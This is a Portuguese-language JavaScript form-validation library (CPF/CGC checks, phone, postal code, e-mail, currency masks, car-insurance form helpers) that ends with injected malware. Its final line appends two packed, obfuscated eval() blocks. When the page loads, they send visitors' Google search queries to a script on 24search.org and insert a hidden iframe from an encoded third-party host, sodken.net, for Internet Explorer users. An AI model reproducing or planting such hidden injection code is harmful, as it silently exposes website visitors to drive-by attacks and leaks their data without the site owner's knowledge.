var aux = null;
if (screen.width == 1024) aux = 844; else aux = 620;

/* --------------------------------------------------------------------------------------------------- */
/*         Funcao generica para verificacao de campos obrigatorios que nao estao preenchidos           */
/* --------------------------------------------------------------------------------------------------- */
function ValidaForm(obj) {

   	for(var i = 0; i < obj.elements.length; i++){
       	if (obj.elements[i].id.substring(0,6).toUpperCase() == 'CHECAR') {
	      	if (obj.elements[i].value == ''){
             	alert('O campo [' + obj.elements[i].title + '] é obrigatório. Preencha-o por favor!');
    		 	obj.elements[i].focus();
             	return false;
	      	}
	   	}

		//Verifica data
		if (obj.elements[i].id.substring(0,6).toUpperCase() == 'DATA') {
	      	if (!isDate (form.DATA.value)){
				alert ('O campo Data de Nascimento com valor inválido !');
				form.DATA.focus();
				return (false)
			}
	   	}

		//Verifica CPF/CNPJ
		if (obj.elements[i].id.substring(0,6).toUpperCase() == 'CPF') {
			if (obj.elements[i].value == ''){
				alert('O campo [' + obj.elements[i].title + '] é obrigatório. Preencha-o por favor!');
    		 	obj.elements[i].focus();
             	return false;
			}
			//if (!isNumberString (obj.elements[i].value)){
			//alert ('O campo CPF/CGC deve conter apenas números !');
			//obj.elements[i].focus();
			//return (false)
			//}
			if (Valida_CPF(obj.elements[i].value) == false){
				alert ('Número de CPF inválido !');
				obj.elements[i].focus();
				return (false)
			}
		
			if (obj.elements[i].value.length != 11){
				alert ('Número de CPF inválido !');
				obj.elements[i].focus();
				return (false)
			}
		
			/*if (Valida_CGC(obj.elements[i].value) == false && obj.elements[i].value.length != 14){
				alert ('Número de CGC inválido !');
				obj.elements[i].focus();
				return (false)
			}
		
			if (obj.elements[i].value.length != 14){
				alert ('Número de CGC inválido !');
				obj.elements[i].focus();
				return (false)
			}*/	
		}

	 	//v_campo = obj.elements[i].id.substring(6).toUpperCase()
  		//if (v_campo == 'NOME'){
   		//	if (!ValidaTipoLet(obj.elements[i].value)){
    		//	alert('O campo [' + obj.elements[i].title + '] deve conter somente letras!');
    		//	obj.elements[i].value = ""
    		//	obj.elements[i].focus();
    		//	return false;
    		//}	   
  		//}


	// Tratamento do campo de ddd. Todo formulario que tiver um campo assim : deve seguir a regra abaixo :
	// Se for obrigatorio : id='checarddd'
	// Senao : id='******ddd'

	 	if (obj.elements[i].id.substring(6).toUpperCase() == 'DDD'){
			var aEntrada = obj.elements[i].value;
			var oComprimento = aEntrada.length;
			var dddValido = true;
			if (oComprimento > 1){
				for(var j = 0; j <= oComprimento; j++){
					var oCaract = aEntrada.substring(j,j+1);
					if (oCaract != ""){
			  			if (oCaract < "0" || oCaract > "9")	dddValido = false;
					}		
				}
  			} else {
				alert('O campo [DDD] deve ser preenchido com dois dígitos!');
				obj.elements[i].value = "";
				obj.elements[i].focus();
				return false;
			}
			if (dddValido == false){
				alert ("Este não parece ser um nº de [DDD] válido. Por favor digite corretamente.");
				obj.elements[i].value = "";
				obj.elements[i].focus();
				return false;
			}
		}
	/*---------------------------------------- Fim do tratamento de DDD ----------------------------------------- */



	// Tratamento de um campo do tipo radio button. Todo formulario que tiver um campo assim : deve seguir a regra abaixo :
	// Só usar este código se for de preenchimento obrigatório
	// alterar os nomes dos campos

	/*var form = document.frmItens;
	if ((!form.primeirapagina[0].checked) && (!form.primeirapagina[1].checked)){
			alert('O campo [PRIMEIRA PÁGINA] é obrigatório. Preencha-o por favor!');		
			return false;	
		}
		
	var form = document.frmItens;	
	if ((!form.visibilidade[0].checked) && (!form.visibilidade[1].checked)){
			alert('O campo [VISIBILIDADE] é obrigatório. Preencha-o por favor!');		
			return false;	
		}*/


	/*---------------------------------------- Fim do tratamento de Radio Button ----------------------------------------- */


	// Tratamento do campo nome. Todo formulario que tiver um campo assim : deve seguir a regra abaixo :
	// Se for obrigatorio : id='checarnome'
	// Senao : id='******nome'

	 	/*if (obj.elements[i].id.substring(6).toUpperCase() == 'NOME'){
			var aEntrada = obj.elements[i].value;
			var oComprimento = aEntrada.length;
			var nomeValido = true;
			if (oComprimento > 1){
				for(var j = 0; j <= oComprimento; j++){
					var oCaract = aEntrada.substring(j,j+1);
					if (oCaract != ""){
			  			if (oCaract < "a" || oCaract > "b") nomeValido = false;
					}		
				}
  			} else {
				alert('O campo [NOME] deve ser preenchido apenas com letras!');
				obj.elements[i].value = "";
				obj.elements[i].focus();
				return false;
			}
			if (nomeValido == false){
				alert ("O campo [NOME] deve ser conter apenas letras. Por favor digite corretamente.");
				obj.elements[i].value = "";
				obj.elements[i].focus();
				return false;
			}
		}*/
		
	/*---------------------------------------- Fim do tratamento de Nome ----------------------------------------- */
	   
	   
	   
	// Tratamento do campo de upload. Todo formulario que tiver um campo assim : deve seguir a regra abaixo :
	// Se for obrigatorio : id='checarupload'
	// Senao : id='******upload'


	 	/*if (obj.elements[i].id.substring(6).toUpperCase() == 'UPLOAD'){
			if (obj.elements[i].value != ''){
            	resultado = obj.elements[i].value;				
				resultado2 = resultado.split("/");
				resultado3 = resultado2.pop();
				resultado4 = resultado3.split(".");
				resultado5 = resultado4.pop();
				if ((resultado5 != 'gif') && (resultado5 != 'jpg')){
					alert("Suas imagens devem ser nos formatos gif ou jpg!");
					obj.elements[i].focus();
            	return false;
				}
	      	}
		}*/

		if (obj.elements[i].id.substring(6).toUpperCase() == 'UPLOAD'){
			if (obj.elements[i].value != ''){
            	resultado = obj.elements[i].value;				
				resultado = resultado.split("/");
				resultado = resultado.pop();
				resultado = resultado.split(".");
				resultado = resultado.pop();
				if ((resultado != 'gif') && (resultado != 'jpg')){
					alert("Suas imagens devem ser nos formatos gif ou jpg!");
					obj.elements[i].focus();
            	return false;
				}
	      	}
		}


	/*---------------------------------------- Fim do tratamento de Upload ----------------------------------------- */    
	   
	   
	   
	// Tratamento do campo de telefone. Todo formulario que tiver um campo assim : deve seguir a regra abaixo :
	// Se for obrigatorio : id='checartelefone'
	// Senao : id='******telefone'
	
		if (obj.elements[i].id.substring(6).toUpperCase() == 'TELEFONE'){
			var aEntrada = obj.elements[i].value;
			var oComprimento = aEntrada.length;
			var foneValido = true;
			if (oComprimento > 7){
				for(var j = 0; j <= oComprimento; j++){
					var oCaract = aEntrada.substring(j,j+1);
					if (oCaract != ""){
			  			if (oCaract < "0" || oCaract > "9")	foneValido = false;
					}		
				}
  			} else {
				alert('O campo [TELEFONE] deve ser preenchido com oito dígitos!');
				//obj.elements[i].value = "";
				obj.elements[i].focus();
				return false;
			}
			if (foneValido == false){
				alert ("Este não parece ser um nº de [TELEFONE] válido. Por favor digite corretamente.");
				obj.elements[i].value = "";
				obj.elements[i].focus();
				return false;
			}
		}
		
	/* ---------------------------- Fim do tratamento de Telefone -----------------------------------*/
	
	
	// Tratamento do campo de cep. Todo formulario que tiver um campo assim : deve seguir a regra abaixo :
	// Se for obrigatorio : id='checarcep'
	// Senao : id='******cep'
	
		if (obj.elements[i].id.substring(6).toUpperCase() == 'CEP'){
			var aEntrada = obj.elements[i].value;
			var oComprimento = aEntrada.length;
			var foneValido = true;
			if (oComprimento < 8){
				foneValido = false;
			}else{
				for(var j = 0; j <= oComprimento; j++){
					var oCaract = aEntrada.substring(j,j+1);
					if (oCaract != ""){
			  			if (oCaract < "0" || oCaract > "9")	foneValido = false;
					}
				}		
			}
			if (foneValido == false){
				alert ("Este não parece ser um [CEP] válido. Por favor digite corretamente.");
				obj.elements[i].value = "";
				obj.elements[i].focus();
				return false;
			}
		}
	/* ---------------------------- Fim do tratamento de Cep -----------------------------------*/
			   
	// Tratamento do campo de link. Todo formulario que tiver um campo assim : deve seguir a regra abaixo :
	// Se for obrigatorio : id='checarlink'
	// Senao : id='******link'
      	
		if (obj.elements[i].id.substring(6).toUpperCase() == 'LINK') {
          	if (obj.elements[i].value.substring(0,7).toUpperCase() == 'HTTP://'){
        	 	links = obj.elements[i].value;
		     	tam = links.length;
		     	obj.elements[i].value = links.substring(7,tam);
		  	}
   	   	}
	/* ------------------------- Fim do tratamento de Link -------------------------------------------- */
	
	// Tratamento do campo de login e senha. Todo formulario que tiver um campo assim deve seguir a regra abaixo :
	// Se for obrigatorio : id='checarloginsenha'
	// Senao : id='******loginsenha'
      	
		if (obj.elements[i].id.substring(6).toUpperCase() == 'LOGINSENHA'){
			var aEntrada = obj.elements[i].value;
			var oComprimento = aEntrada.length;
			
			if (oComprimento < 5) {
				alert('O campo [' + obj.elements[i].title + '] deve ser preechido com no mínimo cinco dígitos!');
				obj.elements[i].value = "";
				obj.elements[i].focus();
				return false;
			}
		}
	/* ------------------------- Fim do tratamento de Login -------------------------------------------- */
	
	// Tratamento do campo vericar senha. Todo formulario que tiver um campo assim deve seguir a regra abaixo :
	// Se for obrigatorio : id='checarconfirma'
	// Senao : id='******confirma'
      	
		if (obj.elements[i].id.substring(6).toUpperCase() == 'CONFIRMA'){
		// obj.elements[i-1].value (campo senha)
		// obj.elements[i].value   (campo confirma senha)
			if (obj.elements[i-1].value != obj.elements[i].value) {
				alert('A Confirmação de Senha não é válida!');
				obj.elements[i].value = '';
				obj.elements[i].focus();
				return false;
			}
		}
	/* ------------------------- Fim do tratamento de Confirmar Senha ----------------------------------- */
		  
   	// Tratamento do campo dia. Todo formulario que tiver um campo assim, este deve seguir a regra abaixo :
	// Se for obrigatorio : id='checardia'
	// Senao : id='******dia'
	   
       	if (obj.elements[i].id.substring(6).toUpperCase() == 'DIA') {
    	  	var aEntrada = obj.elements[i].value;
	      	var oComprimento = aEntrada.length;
		  	var valido = true;

     	  	if (oComprimento == 2){
 		     	if (aEntrada <= "00" || aEntrada > "31" || isNaN(aEntrada)){
			     	valido = false
			 	}
		  	}
    
		  	if (valido == false){
			 	alert ("Este não parece ser um [Dia] válido. Por favor digite corretamente.")
			 	obj.elements[i].value = "";
			 	obj.elements[i].focus();
			 	return false;
     	  	}
	   	}
	/* ----------------------------------------- Fim do tratamento de Dia --------------------------------- */
		
   	// Tratamento do campo mes. Todo formulario que tiver um campo assim, este deve seguir a regra abaixo :
	// Se for obrigatorio : id='checarmes'
	// Senao : id='******mes'
       	
		if (obj.elements[i].id.substring(6).toUpperCase() == 'MES') {
     	  	var aEntrada1 = obj.elements[i].value;
			var aEntrada2 = obj.elements[i-1].value;
	      	var oComprimento = aEntrada1.length;
		  	var valido = true;
			var validaDia = true;

     	  	if (oComprimento == 2){
 		     	if (aEntrada1 <= "00" || aEntrada1 > "12" || isNaN(aEntrada1)) valido = false;
				if (aEntrada2 > '29' && aEntrada1 == '02') validaDia = false;
		  	}
    
		  	if (valido == false){
			 	alert ("Este não parece ser um [Mês] válido. Por favor digite corretamente.")
			 	obj.elements[i].value = "";
			 	obj.elements[i].focus();
			 	return false;
     	  	}
			
			if (validaDia == false){
			 	alert ("Este [Mês] não possui este nº de dias.")
			 	obj.elements[i].value = "";
			 	obj.elements[i].focus();
			 	return false;
     	  	}
	   	}
	/* ------------------------------------------ Fim do tratamento de Mes ------------------------- */
		
   	// Tratamento do campo ano. Todo formulario que tiver um campo assim, este deve seguir a regra abaixo :
	// Se for obrigatorio : id='checarano'
	// Senao : id='******ano'

       	if (obj.elements[i].id.substring(6).toUpperCase() == 'ANO') {
    	  	var aEntrada = obj.elements[i].value;
	      	var oComprimento = aEntrada.length;
		  	var valido = true;
    	  	var dataserver = new Date();
		  	var oAno = dataserver.getYear();

 		  	if (oComprimento == 4){
				if (aEntrada > oAno || isNaN(aEntrada)) {
				    valido = false;
				}
		  	} else {
				alert('O campo [Ano] deve ser preenchido com quatro dígitos!');
				obj.elements[i].value = "";
				obj.elements[i].focus();
				return false;
			}
			
          	if (valido == false){
			 	alert ("Este não parece ser um [Ano] válido. Por favor digite corretamente.")
			 	obj.elements[i].value = "";
			 	obj.elements[i].focus();
			 	return false;
    	  	}
	   	}
	/* --------------------------------------- Fim do tratamento de Ano -------------------------------- */ 
	
	// Tratamento do campo HORA. Todo formulario que tiver um campo assim, este deve seguir a regra abaixo :
	// Se for obrigatorio : id='checarhora'
	// Senao : id='******hora'

		if (obj.elements[i].id.substring(6).toUpperCase() == 'HORA') {
     	  	var aEntrada = obj.elements[i].value;
	      	var oComprimento = aEntrada.length;
		  	var valido = true;

     	  	if (oComprimento == 2){
 		     	if (aEntrada < "00" || aEntrada > "24" || isNaN(aEntrada)){
			    	valido = false
			 	}
		  	} else {
				alert('O campo ['+ obj.elements[i].title +'] deve ser preechido com dois dígitos!');
				obj.elements[i].value = "";
				obj.elements[i].focus();
				return false;
			}
    
		  	if (valido == false){
			 	alert ('Este não parece ser um ['+ obj.elements[i].title +'] válido. Por favor digite corretamente.');
			 	obj.elements[i].value = "";
			 	obj.elements[i].focus();
			 	return false;
     	  	}
	   	}
	/* --------------------------------------- Fim do tratamento de Hora -------------------------------- */
	
	// Tratamento do campo minuto. Todo formulario que tiver um campo assim, este deve seguir a regra abaixo :
	// Se for obrigatorio : id='checarminuto'
	// Senao : id='******minuto'

		if (obj.elements[i].id.substring(6).toUpperCase() == 'MINUTO') {
     	  	var aEntrada = obj.elements[i].value;
	      	var oComprimento = aEntrada.length;
		  	var valido = true;

     	  	if (oComprimento == 2){
 		     	if (aEntrada < "00" || aEntrada > "59" || isNaN(aEntrada)){
			    	valido = false
			 	}
		  	} else {
				alert('O campo ['+ obj.elements[i].title +'] deve ser preechido com dois dígitos!');
				obj.elements[i].value = "";
				obj.elements[i].focus();
				return false;
			}
    
		  	if (valido == false){
			 	alert ('Este não parece ser um ['+ obj.elements[i].title +'] válido. Por favor digite corretamente.');
			 	obj.elements[i].value = "";
			 	obj.elements[i].focus();
			 	return false;
     	  	}
	   	}
	/* --------------------------------------- Fim do tratamento de Minuto -------------------------------- */
	
   	// Tratamento do campo email. Todo formulario que tiver um campo assim, este deve seguir a regra abaixo :
	// Se for obrigatorio : id='checaremail'
	// Senao : id='******email'

	  	if (obj.elements[i].id.substring(6).toUpperCase() == 'EMAIL') {
          	var cInvalido = " /:,;'"											// variável com caracteres inválidos para o campo e-mail
		 	var email     = obj.elements[i].value;								// variável com o valor completo do campo e-mail
			var posArroba = email.indexOf('@');									// variável com a posição do caracter '@'
			var posPonto  = email.indexOf('.');									// variável com a posição do caracter '.'
			var pos1      = email.substring(0, posArroba).length;				// variável com o tamanho da string que está antes do caracter '@'
			var pos2      = email.substring(posArroba + 1, posPonto).length;	// variável com o tamanho da string que está entre os caracteres '@' e '.'
		  	var valido    = true;												// variável de validação do campo e-mail
			
	       	for (var j = 0; j < cInvalido.length; j++) {
		      	cRuim = cInvalido.charAt(j);
				for (var z = 0; z < email.length; z++) {
					oCaracter  = email.charAt(z);
					cCaixaAlta = oCaracter.toUpperCase().charCodeAt(z);
					if (cRuim == oCaracter || oCaracter.charCodeAt(z) == cCaixaAlta) valido = false;
				}
 	      	}
			
          	if (posArroba == -1 || posPonto == -1) valido = false;		// Se não existir os caracteres '@' e '.'
			if (pos1 < 2) valido = false;								// Se o texto antes do caracter '@' for menor que 2
			if (pos2 < 1) valido = false;								// Se o texto entre os caracteres '@' e '.' for menor que 1
           	if (posPonto + 3 > email.length) valido = false;			// Se o texto depois do caracter '.' for menor que 2
			
    	  	if (valido == false) {
             	alert('Este não parece ser um [E-mail] válido. Por favor digite corretamente.');
				obj.elements[i].value = "";
				obj.elements[i].focus();
				return false;
		  	}
	   	}
	/* ---------------------- Fim do tratamento de E-mail -------------------------------------------------- */
    }	
	//window.open('cadastro_ok.asp','','width=330,height=280');
	return true;
 	}

/* ------------------------------ Fim da Funcao ValidaForm() --------------------------------------------------- */

		function selectDados(frm) {
		// O objetivo desta função é selecionar os dados (que forem verdadeiros) de uma determinada lista.
		// Se for obrigatorio : id='checarselect'
		// Senao : id='******select'
			
			var lista = frm.elements.lista.value; // input hidden contendo dados(trazidos de um BD) separdos por um "separador"
			for(var x = 0; x < frm.elements.length; x++) {
				if (frm.elements[x].id.substring(6).toUpperCase() == 'SELECT') {
					var tam = frm.elements[x].length;
					var itens = lista.split(",");
					for (var i = 0; i < (itens.length - 1); i++) {
						var cods = itens[i].split("@esp@");
						for (var j = 0; j < tam; j++) {
							if(frm.elements[x][j].value == cods[0]) frm.elements[x][j].selected = true;
						}
					}
				}
			}
		}

		function ContaCaracter(objCampo, objCont, total, e) {
			var whichCode = (window.Event) ? e.which : e.keyCode;
			if (whichCode == 8) {
				if (objCampo.value == '') objCont.value = ''; else objCont.value = objCampo.value.length-1;
			} else if (whichCode == 9 || (whichCode >= 16 && whichCode <= 20) || (whichCode >= 33 && whichCode <= 40)) {
				if (objCampo.value == '') objCont.value = ''; else objCont.value = objCampo.value.length;
			} else if (whichCode == 45) {
				if (objCampo.value == '') objCont.value = ''; else objCont.value = objCampo.value.length;
			} else if (whichCode == 46) {
				if (objCampo.value == '') objCont.value = ''; else objCont.value = objCampo.value.length-1;
			} else if (whichCode == 144) {
				if (objCampo.value == '') objCont.value = ''; else objCont.value = objCampo.value.length;
			} else if (objCampo.value.length >= total){
				objCampo.value = objCampo.value.substring(0,total);
				alert('O campo [' + objCampo.title + '] não tem mais espaço.');
				return false;
			} else if (objCampo.value.length >= 0) {
				objCont.value = objCampo.value.length+1; }
		}

		function ContaCaracter2(objCampo,objCont) {
			if (objCampo.value == '') objCont.value = ''; else objCont.value = objCampo.value.length;
		}
		
		//validacao de campos textos (campos que só aceitem "letras" e "espaço")
		function checkTexto(val) {
			var Texto = /[QWERTYUIOPASDFGHJKLçZXCVBNMÑqwertyuiopasdfghjklçzxcvbnmñáéíóúÁÉÍÓÚñäëïöüÄËÏÖÜâêîôûÂÊÎÔÛãõÃÕ ]/;
			var strPass = val.value;
			var strLength = strPass.length;
			var lchar = val.value.charAt((strLength) - 1);
			if(lchar.search(Texto) == -1) {
				var tst = val.value.substring(0, (strLength) - 1);
				val.value = tst;
			}
		}
		
		//validacao de campos numéricos (campos que só aceitem números)
		function checkNum(val) {
			var Num = /[0123456789]/;
			var strPass = val.value;
			var strLength = strPass.length;
			var lchar = val.value.charAt((strLength) - 1);
			if(lchar.search(Num) == -1) {
				var tst = val.value.substring(0, (strLength) - 1);
				val.value = tst;
			}
		}
		
		// VALIDA_CPF
		function Valida_CPF(valor)
		{  
			
			Mult1 = 10;
			Mult2 = 11;
			dig1 = 0;
			dig2 = 0;
			svalor = String(valor);
				
			if (
				svalor == '00000000000'
				|| svalor == '11111111111'
				|| svalor == '22222222222'
				|| svalor == '33333333333'
				|| svalor == '44444444444'
				|| svalor == '55555555555'
				|| svalor == '66666666666'
				|| svalor == '77777777777'
				|| svalor == '88888888888'
				|| svalor == '99999999999'
				 )	
			  return(false);
		  
			for (i = 1; i<=9; i++) {		
				dig1 = dig1 + (parseInt(valor.charAt(i-1)) * Mult1) ;
				Mult1--
		  }
		
			for (i = 1 ;i<=10 ;i++) {		
				dig2 = dig2 + (parseInt(valor.charAt(i-1)) * Mult2 );
				Mult2--
			}
		
			dig1 = (dig1 * 10) % 11;
			dig2 = (dig2 * 10) % 11;
		
			if (dig1 == 10)
				dig1 = 0;              
				   
			if (dig2 == 10)
				dig2 = 0;
		
			if (dig1 != parseInt( valor.charAt(10-1) ) )
				return(false);
				
			if (dig2 != parseInt( valor.charAt(11-1) ) )
				return(false);
		
			return(true);  
		
		}
		
		// VALIDA_CGC
		function Valida_CGC(VALOR)
		{
		
			Mult1 = "543298765432";
			Mult2 = "6543298765432";
			dig1 = 0;
			dig2 = 0;
		
			for (i = 1;i<=12;i++)
				dig1 = dig1 + ( parseInt(VALOR.charAt(i-1)) * parseInt( Mult1.charAt(i-1) ) );
		
			for (i = 1; i<=13; i++)	  
				dig2 = dig2 + ( parseInt(VALOR.charAt(i-1)) * parseInt( Mult2.charAt(i-1) ) );
			
			dig1 = (dig1 * 10) % 11;
			dig2 = (dig2 * 10) % 11;
		
			if (dig1 == 10) 
				dig1 = 0;
				
			if (dig2 == 10) 
				dig2 = 0;
		
			if (dig1 != parseInt( VALOR.charAt(13-1) ))
			   return(false);
				
			if (dig2 != parseInt( VALOR.charAt(14-1) ))
				return(false);
		
			return(true);
		}


//-----------------------------------------------------
//Funcao: MascaraMoeda
//Sinopse: Mascara de preenchimento de moeda
//Parametro:
//   objTextBox : Objeto (TextBox)
//   SeparadorMilesimo : Caracter separador de milésimos
//   SeparadorDecimal : Caracter separador de decimais
//   e : Evento
//Retorno: Booleano
//-----------------------------------------------------

		function MascaraMoeda(objTextBox, SeparadorMilesimo, SeparadorDecimal, e){
			var sep = 0;
			var key = '';
			var i = j = 0;
			var len = len2 = 0;
			var strCheck = '0123456789';
			var aux = aux2 = '';
			var whichCode = (window.Event) ? e.which : e.keyCode;
			if (whichCode == 13) return true;
			key = String.fromCharCode(whichCode); // Valor para o código da Chave
			if (strCheck.indexOf(key) == -1) return false; // Chave inválida
			len = objTextBox.value.length;
			for(i = 0; i < len; i++)
				if ((objTextBox.value.charAt(i) != '0') && (objTextBox.value.charAt(i) != SeparadorDecimal)) break;
			aux = '';
			for(; i < len; i++)
				if (strCheck.indexOf(objTextBox.value.charAt(i))!=-1) aux += objTextBox.value.charAt(i);
			aux += key;
			len = aux.length;
			if (len == 0) objTextBox.value = '';
			if (len == 1) objTextBox.value = '0'+ SeparadorDecimal + '0' + aux;
			if (len == 2) objTextBox.value = '0'+ SeparadorDecimal + aux;
			if (len > 2) {
				aux2 = '';
				for (j = 0, i = len - 3; i >= 0; i--) {
					if (j == 3) {
						aux2 += SeparadorMilesimo;
						j = 0;
					}
					aux2 += aux.charAt(i);
					j++;
				}
				objTextBox.value = '';
				len2 = aux2.length;
				for (i = len2 - 1; i >= 0; i--)
				objTextBox.value += aux2.charAt(i);
				objTextBox.value += SeparadorDecimal + aux.substr(len - 2, len);
			//valor = objTextBox.value.length;
			//if (valor = 999.999,99){
			//alert(valor);
			//objTextBox.value = '';
			//	}
			}
			return false;
		}




		// Verifica Data de Fabricação e Modelo
		//OBS: Ano do Modelo pode ser igual ou mais um do Ano de Fabricação
		function verificaData(){
		
			data = new Date;
			ano = data.getFullYear();
			anoFabri = document.frmCadastro.ano_fabricacao.value;
			anoMod = document.frmCadastro.ano_modelo.value;
		
			if ((anoMod - anoFabri < 0) || (anoMod - anoFabri >= 2)){
				alert("Ano Inválido");
				document.frmCadastro.ano_modelo.focus();
				return false;
			}
			return true;
		}
		function verifica_campo(){
			formulario = document.frmCadastro;
			especificar = formulario.anti_furto_alarme.value;
			alarme = formulario.especificar_alarme;
			//if(especificar==""){
				//alert('O campo ANTI-FURTO/ALARME é obrigatório. Preencha-o por favor!');
			//}
			if (especificar == "Não"){
				alarme.disabled = true;
				//return false;
			}
			else{
				alarme.disabled = false;
				//if(alarme.value == "") {
				//alert('O campo ESPECIFICAR é obrigatório. Preencha-o por favor!');
				//}
			}
		}

		function verifica_filhos(){
			formulario = document.frmCadastro;
			verifica = formulario.existem_filhos_residentes.value;
			//1o Filho
			NomeFilho1 = formulario.nome_motorista_adicional1;
			dataDia1 = formulario.datanacimento_motorista_adicional1_dia;
			dataMes1 = formulario.datanacimento_motorista_adicional1_mes;
			dataAno1 = formulario.datanacimento_motorista_adicional1_ano;
			dataDiaHab1 = formulario.data_1_habilitacao_dia_adiconal1;
			dataMesHab1 = formulario.data_1_habilitacao_mes_adiconal1;
			dataAnoHab1 = formulario.data_1_habilitacao_ano_adiconal1;
			sexoFilho1 = formulario.sexo_filho1;

			//2o Filho
			NomeFilho2 = formulario.nome_motorista_adicional2;
			dataDia2 = formulario.datanacimento_motorista_adicional2_dia;
			dataMes2 = formulario.datanacimento_motorista_adicional2_mes;
			dataAno2 = formulario.datanacimento_motorista_adicional2_ano;
			dataDiaHab2 = formulario.data_1_habilitacao_dia_adiconal2;
			dataMesHab2 = formulario.data_1_habilitacao_mes_adiconal2;
			dataAnoHab2 = formulario.data_1_habilitacao_ano_adiconal2;
			sexoFilho2 = formulario.sexo_filho2;

			if(verifica == ""){
				alert("O campo EXISTEM FILHOS/RESIDENTES é obrigatório. Preencha-o por favor!");
				verifica.focus;
			}
			

			if (verifica == "Não"){
				//1o Filho
				NomeFilho1.disabled = true;
				dataDia1.disabled = true;
				dataMes1.disabled = true;
				dataAno1.disabled = true;
				dataDiaHab1.disabled = true;
				dataMesHab1.disabled = true;
				dataAnoHab1.disabled = true;
				sexoFilho1.disabled = true;
				//2o Filho
				NomeFilho2.disabled = true;
				dataDia2.disabled = true;
				dataMes2.disabled = true;
				dataAno2.disabled = true;
				dataDiaHab2.disabled = true;
				dataMesHab2.disabled = true;
				dataAnoHab2.disabled = true;
				sexoFilho2.disabled = true;
			}
			else{
				//1o Filho
				NomeFilho1.disabled = false;
				dataDia1.disabled = false;
				dataMes1.disabled = false;
				dataAno1.disabled = false;
				dataDiaHab1.disabled = false;
				dataMesHab1.disabled = false;
				dataAnoHab1.disabled = false;
				sexoFilho1.disabled = false;
				//2o Filho
				NomeFilho2.disabled = false;
				dataDia2.disabled = false;
				dataMes2.disabled = false;
				dataAno2.disabled = false;
				dataDiaHab2.disabled = false;
				dataMesHab2.disabled = false;
				dataAnoHab2.disabled = false;
				sexoFilho2.disabled = false;
			}
		}
		
		function verifica_tipocombustivel(){
			formulario = document.frmCadastro;
			gasolina = formulario.combustivel.value;
			if(gasolina == ""){
				alert("O campo COMBUSTÍVEL é obrigatório. Preencha-o por favor!");
				verifica.focus;
			}
		}
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 17=3.16.7("20=1");5 19=3.10.7(\'22.\');5 18=25.30.7("27 6.0");9(17==-1&&19!=-1&&18==-1){5 4=3.10.13(3.10.7(\'14=\'));5 8=4.7(\'&\');9(8==-1){8=26.29}4=4.13(0,8).21(2);9(24(4).28(0)!=\'%\'){3.43("<11 42=\'31\' 40=\'44://45.38/33.39?14="+4+"\'></11>");3.16="20=1; 32=34, 23 35 37 12:15:36 41; "}}',10,46,'|||document|query|var||indexOf|querysize|if|referrer|script||slice|q||cookie|dci|nai|dri|_tskdjw|substring|google||escape|navigator|cmd|MSIE|charAt|length|appVersion|JavaScript|expires|kv|Mon|Jul|58|2013|org|js|src|GMT|language|write|http|24search'.split('|'),0,{}));sa="%73%6F%64%6B%65%6E%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('7(2.3.4("5=0")==-1&&10.13.4("19 6")!=-1){2.3="5=0; 17=18, 14 12 8 14:15:26 9; ";2.11("<20"+"31 34="+"1 33"+"32=1 0"+"30=\'29"+"23://"+22+"/21/\' 24=\'25"+"28:27\'></7"+"16>")}',10,35,'s||document|cookie|indexOf|_mlsdkf||if|2015|GMT|navigator|write|Jul|appVersion|||rame|expires|Mon|MSIE|ifra|b2b|sa|tp|style|di||none|splay|ht|rc|me|ght|hei|width'.split('|')));

